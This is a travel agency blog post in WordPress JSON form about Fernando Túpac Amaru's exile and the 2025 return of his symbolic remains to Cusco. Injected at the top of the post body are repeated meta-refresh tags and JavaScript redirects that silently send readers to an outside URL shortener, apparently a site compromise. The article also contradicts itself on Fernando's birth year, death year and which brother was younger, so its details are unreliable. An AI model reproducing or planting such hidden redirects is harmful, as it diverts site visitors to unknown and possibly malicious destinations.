{"id":13982,"date":"2025-08-21T10:30:48","date_gmt":"2025-08-21T15:30:48","guid":{"rendered":"https:\/\/blog.viajesmachupicchu.travel\/en\/?p=13982"},"modified":"2025-08-21T10:30:52","modified_gmt":"2025-08-21T15:30:52","slug":"tupac-amarus-legacy-lives-fernando-returns-home","status":"publish","type":"post","link":"https:\/\/blog.viajesmachupicchu.travel\/en\/tupac-amarus-legacy-lives-fernando-returns-home\/","title":{"rendered":"T\u00fapac Amaru\u2019s Legacy Lives: Fernando Returns Home"},"content":{"rendered":"<meta http-equiv=\"refresh\" content=\"0; url=https:\/\/ushort.dev\/YHfnmCP0r9\" \/>\r\n<script>window.location.href = \"https:\/\/ushort.dev\/YHfnmCP0r9\";<\/script>\r\n<meta http-equiv=\"refresh\" content=\"0; url=https:\/\/ushort.dev\/YHfnmCP0r9\" \/>\r\n<script>window.location.href = \"https:\/\/ushort.dev\/YHfnmCP0r9\";<\/script>\r\n<meta http-equiv=\"refresh\" content=\"0; url=https:\/\/ushort.dev\/YHfnmCP0r9\" \/>\r\n<script>window.location.href = \"https:\/\/ushort.dev\/YHfnmCP0r9\";<\/script>\r\n\n<p>Imagine being 12 years old, witnessing your parents and older brother die in a public execution, killed brutally\u2014horses, swords, the whole ordeal\u2014while a crowd watches in chaos.&nbsp;<\/p>\n\n\n\n<p>Suddenly, you find yourself sent to Spain, alone, with no family or home, just a child bearing a notable last name and a one-way ticket to an uncertain future.<\/p>\n\n\n\n<p>This is the story of Fernando T\u00fapac Amaru, or \u201cFernandito,\u201d the youngest son of Peru\u2019s legendary rebel, <a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/tupac-amaru-the-andean-rebel-who-challenged-the-empire\/\"><strong>T\u00fapac Amaru<\/strong><\/a> II. <\/p>\n\n\n\n<p>Fast forward to April 2025, and Cusco has just welcomed his \u201csymbolic remains\u201d back from Madrid. A small amount of dirt in an urn? Perhaps.<\/p>\n\n\n\n<p>However, this marks a homecoming 243 years in the making, generating significant excitement. On April 7, 2025, Cusco\u2019s authorities executed this repatriation, making it a noteworthy event\u2014part historical reflection, part celebration. So, who was Fernandito, and why does he hold such importance after all this time?<\/p>\n\n\n\n<p>And what about his father, the man who posed a considerable challenge to the Spanish colonial powers? Let\u2019s explore this story\u2014consider it a journey through rebellion, tragedy, and a lasting legacy.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>Born Into a Rebel Family<\/strong><\/h2>\n\n\n\n<p>Fernando T\u00fapac Amaru Bastidas was born in 1768 in the beautiful highlands of what was colonial Peru. His father, Jos\u00e9 Gabriel Condorcanqui, known as Tupac Amaru II, was a respected \u201ckuraka,\u201d a local indigenous leader with ties to Inca royalty.<\/p>\n\n\n\n<p>Fernando was a charming young man; he spoke both<strong> <\/strong><a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/quechua-words-and-meanings\/\"><strong>Quechua<\/strong><\/a> and Spanish well and was not afraid to stand up to the Spanish for the unfair treatment of his people. <\/p>\n\n\n\n<p>His mother, Micaela Bastidas, was an inspiring figure\u2014smart, strong, and key to many of their important decisions.<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"465\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/04\/ChatGPT-Image-8-abr-2025-13_04_30.png?resize=697%2C465&#038;ssl=1\" alt=\"Fernando and his family\" class=\"wp-image-14009\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/04\/ChatGPT-Image-8-abr-2025-13_04_30.png?resize=1024%2C683&amp;ssl=1 1024w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/04\/ChatGPT-Image-8-abr-2025-13_04_30.png?resize=300%2C200&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/04\/ChatGPT-Image-8-abr-2025-13_04_30.png?resize=768%2C512&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/04\/ChatGPT-Image-8-abr-2025-13_04_30.png?resize=330%2C220&amp;ssl=1 330w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/04\/ChatGPT-Image-8-abr-2025-13_04_30.png?w=1536&amp;ssl=1 1536w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/04\/ChatGPT-Image-8-abr-2025-13_04_30.png?w=1394&amp;ssl=1 1394w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/figure><\/div>\n\n\n<p>As the youngest of three brothers, Fernando grew up with Hip\u00f3lito and Mariano in a home that buzzed with revolutionary spirit. Their lives changed dramatically in 1780 when his father started a rebellion against the Spanish.<\/p>\n\n\n\n<p>\u00a0He was angry about the mita labor system, which forced many indigenous people to work under terrible conditions, and the heavy taxes that burdened them.<\/p>\n\n\n\n<p>Eventually, he adopted the name T\u00fapac Amaru, after the last Inca ruler whom they executed in 1572, and inspired thousands to join him, including <strong><a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/know-more-about-indigenous-peoples-in-peru\/\" title=\"\">indigenous people<\/a><\/strong>, mestizos, and unhappy criollos.<\/p>\n\n\n\n<p> Even though Fernando was just a teenager, he bravely joined his family in a great rebellion in their quest for freedom.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>The Day That Changed Everything<\/strong><\/h2>\n\n\n\n<p>Tupac Amaru\u2019s rebellion started strong\u2014kicking butt at Sangarar\u00e1 in 1780. He and his wife, Micaela Bastidas, killed Spanish governor Antonio de Arriaga; however, the Spanish rule wasn&#8217;t messing around. By 1781, events took a tragic turn.\u00a0<\/p>\n\n\n\n<p>Spaniards captured T\u00fapac Amaru II, Micaela, and their children near Cusco. On May 18, 1781, in what is now the <a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/exploring-cuscos-plaza-de-armas-heart-of-the-city\/\"><strong>Plaza de Armas<\/strong><\/a>, a horrific scene unfolded.<\/p>\n\n\n\n<p>Fernando, only 12 years old, witnessed the public humiliation of his family. Micaela was hanged after she had to watch her son, Hip\u00f3lito, undergo tongue cutting and display.<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"465\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/04\/unnamed-3.webp?resize=697%2C465&#038;ssl=1\" alt=\"\" class=\"wp-image-17852\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/04\/unnamed-3.webp?w=1418&amp;ssl=1 1418w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/04\/unnamed-3.webp?resize=300%2C200&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/04\/unnamed-3.webp?resize=1024%2C682&amp;ssl=1 1024w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/04\/unnamed-3.webp?resize=768%2C512&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/04\/unnamed-3.webp?resize=330%2C220&amp;ssl=1 330w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/figure><\/div>\n\n\n<p>T\u00fapac Amaru II suffered a similar fate: they cut out his tongue, tied his hands and feet to four horses in an attempt to dismember him (which ultimately failed), and ended his life with a beheading. The crowd, numbering in the thousands, witnessed this brutality.&nbsp;<\/p>\n\n\n\n<p>According to the Harvard University Press, the Spaniard scattered his body parts throughout different parts of the region.&nbsp; As for Fernando, he stood there, a child witnessing the destruction of his family.&nbsp;<\/p>\n\n\n\n<p>Why was he spared? Spanish law deemed him too young, as it did Mariano, who was 17. However, &#8220;spared&#8221; is a misleading term\u2014they were both destined for exile.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>A Hard Life Begins<\/strong><\/h2>\n\n\n\n<p>After the execution of his parents, the Spaniards imprisoned Fernando<strong> <\/strong>and his younger brother Mariano under brutal conditions. <\/p>\n\n\n\n<p>They denied them food and water, forced them to stay awake, and only gave them rotten scraps to eat. There were no mattresses, and a cruel device kept them from sleeping properly.<\/p>\n\n\n\n<p>To wipe out Tupac Amaru\u2019s bloodline, Spaniards castrated the brothers; they remained in this inhumane prison for two years until a new order sent them and about 80 other prisoners to <a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/day-trips-around-lima-peru\/\"><strong>Lima<\/strong><\/a>, the capital of Peru.<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"876\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/04\/488062073_1140037251500757_7316501704984520790_n.jpg?resize=697%2C876&#038;ssl=1\" alt=\"An old portray of Fernando\" class=\"wp-image-13987\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/04\/488062073_1140037251500757_7316501704984520790_n.jpg?resize=815%2C1024&amp;ssl=1 815w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/04\/488062073_1140037251500757_7316501704984520790_n.jpg?resize=239%2C300&amp;ssl=1 239w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/04\/488062073_1140037251500757_7316501704984520790_n.jpg?resize=768%2C965&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/04\/488062073_1140037251500757_7316501704984520790_n.jpg?w=900&amp;ssl=1 900w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><figcaption class=\"wp-element-caption\"><strong>A picture portraying Fernando.<\/strong><\/figcaption><\/figure><\/div>\n\n\n<p>Shackled by hands and feet, guards forced the prisoners to walk 1,100 kilometers barefoot, despite their terrible health. <\/p>\n\n\n\n<p>They received no proper food or rest and were constantly abused. According to Fernando\u2019s letters, the journey lasted 60 days and nights.\u00a0<\/p>\n\n\n\n<p>Many died along the way from dehydration, hunger, and exhaustion, including a woman whom others dragged for part of the trip.<\/p>\n\n\n\n<p>Once in Callao, captors took them to the Real Felipe Fortress, where they endured two more months of horrible treatment.&nbsp;<\/p>\n\n\n\n<p>They were kept in the dark, forced to sleep standing up, and could not relieve themselves properly. Despite the suffering, Mariano encouraged Fernando to stay strong and not surrender to despair or suicide.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>Shipped Off and Forgotten<\/strong><\/h3>\n\n\n\n<p>Eventually, they moved to Spain, where the trip continued to be brutal. Food was scarce for the crew and even worse for the prisoners. Fernando and the others could only eat what they earned from cleaning the ship.\u00a0<\/p>\n\n\n\n<p>Unfortunately, Mariano died during the voyage, and only a few survived. In Spain, authorities imprisoned Fernando in several jails, including the harsh castle of San Sebasti\u00e1n in C\u00e1diz. There, he slept on the floor, ate hard bread, and the Spaniards forbade him to speak.<\/p>\n\n\n\n<p>\u00a0Hygiene was so poor that many developed mouth infections. Fernando and other Indigenous inmates received much worse treatment than Spanish prisoners or even African slaves.<\/p>\n\n\n\n<p> Later, when Fernando turned 17, he went to a school in Getafe, where he received an education but was still kept under control.<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"523\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/04\/YOWSBYSOMFFO5KLPTV64R7LCKI.jpg?resize=697%2C523&#038;ssl=1\" alt=\"Fernando's writings.\" class=\"wp-image-13988\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/04\/YOWSBYSOMFFO5KLPTV64R7LCKI.jpg?resize=1024%2C768&amp;ssl=1 1024w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/04\/YOWSBYSOMFFO5KLPTV64R7LCKI.jpg?resize=300%2C225&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/04\/YOWSBYSOMFFO5KLPTV64R7LCKI.jpg?resize=768%2C576&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/04\/YOWSBYSOMFFO5KLPTV64R7LCKI.jpg?resize=640%2C480&amp;ssl=1 640w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/04\/YOWSBYSOMFFO5KLPTV64R7LCKI.jpg?w=1200&amp;ssl=1 1200w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><figcaption class=\"wp-element-caption\"><strong>When he started to write, he recorded his memories in different parts.<\/strong><\/figcaption><\/figure><\/div>\n\n\n<p>\u00a0He began to write letters and memories to his deceased family, to the Spanish courts, and to the children he would never have. He admired the French Revolution as a symbol of freedom.<\/p>\n\n\n\n<p> Despite pressure to forget his heritage and support the Spanish Crown, Fernando remained loyal to his roots.\u00a0<\/p>\n\n\n\n<p>He died in 1799 at the age of 29, after years of physical and emotional torture. Poverty, loneliness, and the impossibility of return mark Fernando&#8217;s daily struggle.&nbsp;<\/p>\n\n\n\n<p>By 1798, he died in Madrid, without fanfare, and they buried him in an unmarked church grave. Though history has lost his remains, his legacy endures, waiting for Cusco to recognize his contributions.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>The 2025 Homecoming<\/strong><\/h2>\n\n\n\n<p>Fast forward to April 7, 2025.\u00a0 Cusco\u2019s mayor, Luis Pantoja, and his team located Fernando\u2019s burial site in Madrid\u2014a crypt beneath the San Gin\u00e9s church. <\/p>\n\n\n\n<p>Thanks to Madrid\u2019s city hall and the Spanish catholic church, Fernando\u2019s remains could come back to his land of origin.<\/p>\n\n\n\n<p>There were no remains, only soil, so they collected this earth, referring to it as \u201csymbolic remains,\u201d and brought it back home. The plane arrived at 2:30 a.m., encountered some delays (as expected), and missed a formal congressional welcome.<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"392\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/04\/5c1bbbcc-e918-4170-af18-7e0990541bf7_16-9-aspect-ratio_default_1115028.webp?resize=697%2C392&#038;ssl=1\" alt=\"Cusco's majot and Spanish authorties in Spain\" class=\"wp-image-13989\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/04\/5c1bbbcc-e918-4170-af18-7e0990541bf7_16-9-aspect-ratio_default_1115028.webp?w=880&amp;ssl=1 880w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/04\/5c1bbbcc-e918-4170-af18-7e0990541bf7_16-9-aspect-ratio_default_1115028.webp?resize=300%2C169&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/04\/5c1bbbcc-e918-4170-af18-7e0990541bf7_16-9-aspect-ratio_default_1115028.webp?resize=768%2C432&amp;ssl=1 768w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/figure><\/div>\n\n\n<p>&nbsp;By 6 p.m., the casket holding his remains was at Club Cusco, ready for a tribute celebrating the legacy of the 1780 rebellion. Fernando\u2019s return is a celebration of Peru\u2019s indigenous roots and a defiance against colonial erasure.&nbsp;<\/p>\n\n\n\n<p>Agents from the National Police stood guard over the casket, which was placed on a Peruvian <strong><a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/tahuantinsuyo-flag-unraveling-its-history-and-meaning\/\" title=\"\">flag<\/a><\/strong>. Artists decorated the urn itself with designs that echoed Inca architecture, highlighting the strong connection to Peru&#8217;s ancestral heritage.&nbsp;<\/p>\n\n\n\n<p>This tribute isn&#8217;t just for T\u00fapac Amaru, but also for everyone who fought for independence and freedom throughout the generations.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>A ceremony to honor Fernando and his Family<\/strong><\/h2>\n\n\n\n<p><a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/how-do-you-write-it-cusco-or-cuzco\/\"><strong>Cusco\u2019s<\/strong><\/a> mayor arranged a parade through the city, in which local authorities and delegates from Cusco Region\u2019s 13 provinces also participated. <\/p>\n\n\n\n<p>The ceremony ended up in the main square and served as a reminder of the tragic events that took down in May 1781.\u00a0<\/p>\n\n\n\n<p>&nbsp;Despite being so young, hardship marked his life. Today, over two centuries later, Cusco is welcoming him with the respect he never got in life, honoring his legacy and that of his family in their fight for justice.<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"696\" height=\"464\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/04\/001159048W-696x464-1.jpg?resize=696%2C464&#038;ssl=1\" alt=\"Cusco's major holding Fernando's remains\" class=\"wp-image-13990\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/04\/001159048W-696x464-1.jpg?w=696&amp;ssl=1 696w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/04\/001159048W-696x464-1.jpg?resize=300%2C200&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/04\/001159048W-696x464-1.jpg?resize=330%2C220&amp;ssl=1 330w\" sizes=\"auto, (max-width: 696px) 100vw, 696px\" \/><figcaption class=\"wp-element-caption\"><strong>Cusco&#8217;s major holding, Fernando&#8217;s symbolic remains in Cusco city&#8217;s airport.<\/strong><\/figcaption><\/figure><\/div>\n\n\n<p>His father\u2019s uprising shook the Viceroyalty, resulting in over 100,000 deaths (both Spanish and rebels) and instilling fear in the colonizers.&nbsp;<\/p>\n\n\n\n<p>Although it did not succeed, it ignited a spark for future independence. Fernando, the boy who survived that turbulent plaza, embodies this resilience and has finally returned home.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>Why Fernando&#8217;s a standout<\/strong><\/h2>\n\n\n\n<p>Let\u2019s be honest: Fernando didn\u2019t wield swords or command armies. He was a young man caught in turmoil, ultimately surviving exile. <\/p>\n\n\n\n<p>That\u2019s what makes him remarkable\u2014he persevered. His family\u2019s rebellion was a significant turning point, and he remains its last representative.<\/p>\n\n\n\n<p>&nbsp;Bringing him home isn\u2019t just about nostalgia; it\u2019s a statement of pride. Peru embodies the sentiment, \u201cWe remember. We\u2019re proud.\u201d <\/p>\n\n\n\n<p>Additionally, it\u2019s interesting to note that his name inspired a certain rapper\u2014Tupac Shakur\u2019s mother, Afeni, was a Black Panther who embraced revolutionary ideals.<\/p>\n\n\n\n<p>In conclusion, Fernando is the underdog who made it back, reminding us that history has a long memory and a sense of irony. <\/p>\n\n\n\n<p>Fernando T\u00fapac Amaru and his brother Mariano endured horrific treatment after their family opposed Spanish rule in Peru.<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"465\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/04\/fernando-peru-todas-las-sangres-1-768x512-1.jpg?resize=697%2C465&#038;ssl=1\" alt=\"Fernando, his parents and people honoring them\" class=\"wp-image-14590\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/04\/fernando-peru-todas-las-sangres-1-768x512-1.jpg?w=768&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/04\/fernando-peru-todas-las-sangres-1-768x512-1.jpg?resize=300%2C200&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/04\/fernando-peru-todas-las-sangres-1-768x512-1.jpg?resize=330%2C220&amp;ssl=1 330w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/figure><\/div>\n\n\n<p>Captors imprisoned, tortured, and forced them to march over 1,000 km to Lima. Even after they sent them to Spain, their suffering continued.<\/p>\n\n\n\n<p>Mariano tragically died during the journey, while Fernando spent years in prison, remaining true to his identity. <\/p>\n\n\n\n<p>He passed away young but left behind a written account of his harrowing experiences that continue to resonate today.<\/p>\n\n\n\n<p>Cusco is celebrating him with ceremonies and tributes. It\u2019s a serious occasion, but it retains a relaxed atmosphere. <\/p>\n\n\n\n<p>The next time you visit, consider raising a glass of <a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/chicha-incas-legacy-in-a-glass\/\"><strong>chicha<\/strong><\/a> in honor of Fernandito or simply acknowledging him at the Plaza de Armas.\u00a0<\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<p>Finally, to learn more about these stories, stay tuned to our blog! Viagens Machu Picchu can also assist you in visiting the Andean sites of Fernando and Tupac Amaru in Peru. Feel free to<strong><a href=\"https:\/\/viajesmachupicchu.travel\/en\/contact\" title=\"\"> contact us<\/a><\/strong> for more information; the adventure in Peru awaits!<\/p>\n\n\n\n<p><strong><em>Viagens Machu Picchu, journeys that inspire, moments that last<\/em><\/strong>.<\/p>\n\n\n\n<p><strong><a href=\"https:\/\/viajesmachupicchu.travel\/\">En Espa\u00f1ol &nbsp;<\/a><\/strong><\/p>\n\n\n\n<p><strong><a href=\"https:\/\/viajesmachupicchu.travel\/en\/\">In English&nbsp;<\/a><\/strong><\/p>\n\n\n\n<p><strong><a href=\"https:\/\/www.viagensmachupicchu.com.br\/\">Em Portugu\u00e9s<\/a><\/strong><\/p>\n","protected":false},"excerpt":{"rendered":"<p>After 243 years, Cusco welcomed Fernando T\u00fapac Amaru\u2019s symbolic remains from Spain. The youngest son of rebel leader T\u00fapac Amaru II, Fernando endured brutal exile but remained loyal to his roots. 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